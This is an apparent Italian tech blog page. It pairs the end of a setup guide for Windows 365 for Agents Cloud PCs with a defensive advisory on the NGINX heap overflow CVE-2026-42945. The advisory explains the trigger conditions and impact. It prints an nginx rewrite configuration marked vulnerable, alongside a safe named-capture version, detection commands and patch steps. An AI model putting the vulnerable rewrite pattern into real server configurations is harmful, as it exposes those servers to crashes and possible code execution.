Come configurare Windows 365 for Agents

Il processo di configurazione richiede alcuni prerequisiti:

• Una licenza Windows 365 o Agent 365 nel tenant
• Un piano di billing Windows 365 for Agents attivo
• Opzionalmente, utenti agente in Agent 365

Passo 1: creare la Billing Policy

Nel Microsoft 365 admin center, andare su Billing & usage → Billing policies. Selezionare una sottoscrizione Azure, un resource group e una regione, quindi abilitare Windows 365 for Agents sotto Pay-as-you-go services.

Passo 2: creare la Provisioning Policy per agenti

Nel Microsoft Intune admin center, navigare su Devices → Provision Cloud PCs → Provisioning policies (Agents) → Create policy. La procedura guidata richiede:

• Nome della policy
• Piano di billing
• Numero di Cloud PC always-available (da 1 a 200)
• Area geografica
• Agenti assegnati
• Immagine e impostazioni di lingua

Nota: i gruppi utente non sono attualmente supportati per l’assegnazione degli agenti. Il provisioning richiede circa 20-30 minuti.

Monitoraggio e costi

I Cloud PC for Agents sono visibili in Intune admin center sotto Devices → All devices. Si riconoscono dal prefisso CPCA- nel nome, dal modello Cloud PC for Agents e dal profilo di enrollment che riporta il nome della provisioning policy.

Per monitorare la capacità del pool: Devices → Provision Cloud PCs → Provisioning policies (Agents), selezionare una policy e verificare le sessioni attive e disponibili.

Sul fronte dei costi (area US):

• Pay-as-you-go: $0,40 per ora (arrotondato all’ora intera successiva)
• Always-available Cloud PC: $5 per Cloud PC al mese, in aggiunta al billing a consumo

I costi sono tracciabili in Azure Cost Management filtrando per il tag Windows365foragents.

Quando usarlo — e quando no

Windows 365 for Agents è utile principalmente quando un agente deve interagire con un’interfaccia utente: workflow basati su browser, applicazioni legacy senza API affidabili, o software desktop non modernizzato. Se invece il workflow può essere completato tramite API o connettori, Microsoft stesso raccomanda di usare Agent 365 direttamente, senza passare per Windows 365 for Agents.

Dato che la documentazione operativa è ancora limitata — soprattutto sui dettagli di troubleshooting avanzato — Microsoft consiglia di trattare le prime implementazioni come controlled pilot piuttosto che come rollout di produzione su larga scala.

Conclusione

Windows 365 for Agents rappresenta un’evoluzione logica della piattaforma Cloud PC verso il mondo dell’automazione agentiva. Per gli amministratori IT che gestiscono ambienti ibridi con applicazioni legacy, offre un percorso strutturato per integrare agenti AI senza sacrificare la governance di identità e sicurezza. Vale la pena monitorarne l’evoluzione, in particolare quando la preview si estenderà alle region europee.

Fonte: Windows 365 for Agents: Cloud PCs for AI automation — 4sysops

Windows 365 for Agents: Cloud PCs for AI automation – 4sysops

Windows 365 for Agents is a public preview service that gives AI agents Cloud PCs for running tasks in Windows environments. A Cloud PC is a virtual Windows des

^{IT Experts (4sysops)}

Spcnet.it

2026-06-03 13:45:34

CVE-2026-42945 (NGINX Rift): vulnerabilità critica attivamente sfruttata — aggiornare subito

Il 13 maggio 2026 il team di ricerca di Depthfirst ha reso pubblici i dettagli tecnici di CVE-2026-42945, una vulnerabilità critica nel modulo ngx_http_rewrite_module di NGINX, immediatamente ribattezzata NGINX Rift. Appena tre giorni dopo la divulgazione, i sistemi canary di VulnCheck hanno rilevato tentativi di sfruttamento attivo in the wild. Con oltre 5,7 milioni di istanze NGINX esposte su Internet che eseguono versioni potenzialmente vulnerabili, questo CVE richiede attenzione immediata da parte di tutti gli amministratori di sistema.

Cos’è e come funziona la vulnerabilità

CVE-2026-42945 è una vulnerabilità di memory corruption (heap-based buffer overflow) che risiede nel modulo di riscrittura URL di NGINX. Il problema nasce da un errore nel calcolo del buffer di destinazione quando vengono usate capture non nominati (i riferimenti $1, $2, ecc.) nelle direttive rewrite.

Il bug si manifesta quando sono presenti tutte e tre queste condizioni nella configurazione di NGINX:

1. Una direttiva rewrite con capture non nominati (es. $1, $2)
2. Una stringa di sostituzione che contiene un punto interrogativo (parametri GET)
3. Un’ulteriore direttiva rewrite, if, o set successiva

In questa configurazione, NGINX calcola la dimensione del buffer usando un insieme di assunzioni sull’escape dei caratteri, ma poi scrive nel buffer con assunzioni diverse. Il risultato è una scrittura oltre i limiti del buffer allocato — un classico heap overflow. La cosa particolarmente insidiosa è che i byte scritti oltre il buffer sono determinati dall’URI dell’attaccante, rendendo la corruzione controllabile e quindi molto più pericolosa di un semplice crash casuale.

Esempio di configurazione vulnerabile

Ecco un pattern di configurazione che espone l’istanza NGINX all’exploit:

server {
    listen 80;
    server_name example.com;

    location / {
        # Configurazione VULNERABILE: capture non nominato ($1) + "?" nella sostituzione
        rewrite ^/vecchio/(.*)$ /nuovo/?id=$1 last;
        
        # La presenza di questa seconda direttiva aggrava il problema
        rewrite ^/nuovo/(.*)$ /index.php?path=$1 last;
    }
}

La versione sicura usa capture nominati:

server {
    listen 80;
    server_name example.com;

    location / {
        # Configurazione SICURA: uso di capture nominati
        rewrite ^/vecchio/(?P<slug>.*)$ /nuovo/?id=${slug} last;
        rewrite ^/nuovo/(?P<path>.*)$ /index.php?path=${path} last;
    }
}

Impatto: DoS garantito, RCE possibile

L’impatto della vulnerabilità dipende dalla configurazione del sistema operativo:

• Denial of Service (DoS): ottenibile su qualsiasi configurazione NGINX vulnerabile. Richieste HTTP ripetute mantengono i worker process in un crash loop, degradando la disponibilità di tutti i virtual host serviti dall’istanza.
• Remote Code Execution (RCE): teoricamente possibile, ma richiede che l’Address Space Layout Randomization (ASLR) sia disabilitata sul server target. Su sistemi Linux moderni con ASLR abilitata (la configurazione predefinita), il RCE è significativamente più difficile da ottenere.

Il proof-of-concept pubblico rilasciato da Depthfirst dimostra il DoS in modo affidabile e ripetibile.

Versioni affette

La vulnerabilità colpisce:

• NGINX Open Source: versioni dalla 0.6.27 alla 1.30.0 inclusa
• NGINX Plus: versioni dalla R32 alla R36
• Prodotti F5 che incorporano NGINX: NGINX Ingress Controller, F5 WAF for NGINX, F5 DoS for NGINX e altri

Come verificare la propria esposizione

Prima di aggiornare, è utile capire se la propria configurazione è effettivamente sfruttabile. Non basta avere una versione vulnerabile: è necessario che sia presente il pattern di configurazione critico.

Cerca nelle tue configurazioni il pattern problematico:

# Cerca direttive rewrite con $1, $2, ecc. seguite da "?"
grep -rn 'rewrite.*\$[0-9].*?' /etc/nginx/

# Verifica la versione installata
nginx -v

Su sistemi Debian/Ubuntu puoi controllare se il pacchetto è già stato aggiornato:

apt-cache policy nginx
apt-cache policy nginx-full

Patch e mitigazioni disponibili

F5 ha già rilasciato le versioni corrette:

• NGINX Open Source 1.31.0 (versione mainline) e 1.30.1 (versione stable)
• NGINX Plus R36 P4 e R32 P6
• F5 WAF for NGINX v5.13.0
• F5 DoS for NGINX v4.9.0

Le principali distribuzioni Linux stanno rilasciando pacchetti aggiornati:

# Debian/Ubuntu
sudo apt update && sudo apt upgrade nginx

# AlmaLinux/RHEL/CentOS
sudo dnf update nginx

# Verifica la versione dopo l'aggiornamento
nginx -v && nginx -t

Se non è possibile aggiornare immediatamente, la mitigazione ufficiale di F5 consiste nel convertire tutti i capture non nominati in capture nominati nelle direttive rewrite, come mostrato nell’esempio di configurazione sicura sopra.

Considerazioni operative

Alcuni aspetti pratici da tenere a mente durante la risposta a questo incidente:

L’aggiornamento di NGINX su sistemi in produzione richiede tipicamente un graceful reload (nginx -s reload) che non interrompe le connessioni esistenti. Tuttavia, se si installa una nuova versione del pacchetto, potrebbe essere necessario un riavvio del processo:

# Reload della configurazione (zero-downtime)
nginx -s reload

# Oppure tramite systemd
systemctl reload nginx

# Riavvio completo (se necessario dopo aggiornamento del binario)
systemctl restart nginx

Per ambienti containerizzati con NGINX come base image, è necessario ricostruire e ridistribuire i container aggiornando la versione base dell’immagine. Se si usa NGINX Ingress Controller su Kubernetes, aggiornare il deployment del controller.

Conclusione

CVE-2026-42945 è una vulnerabilità seria che merita risposta rapida. Sebbene non tutte le istanze NGINX siano sfruttabili (dipende dalla configurazione delle direttive rewrite), il DoS è ottenibile su qualsiasi sistema vulnerabile con il pattern critico e lo sfruttamento attivo è già confermato. La patch è disponibile, la migrazione alla versione 1.30.1 o 1.31.0 è il percorso consigliato. In alternativa, la conversione ai capture nominati nelle configurazioni rewrite offre una mitigazione efficace nell’immediato.

Fonti: Help Net Security, Depthfirst Security Research, F5 Security Advisory K000161019, VulnCheck

Attackers are exploiting critical NGINX vulnerability (CVE-2026-42945) - Help Net Security

A critical NGINX vulnerability (CVE-2026-42945) that was disclosed last week is being exploited by attackers, according to VulnCheck.

^{Zeljka Zorz (Help Net Security)}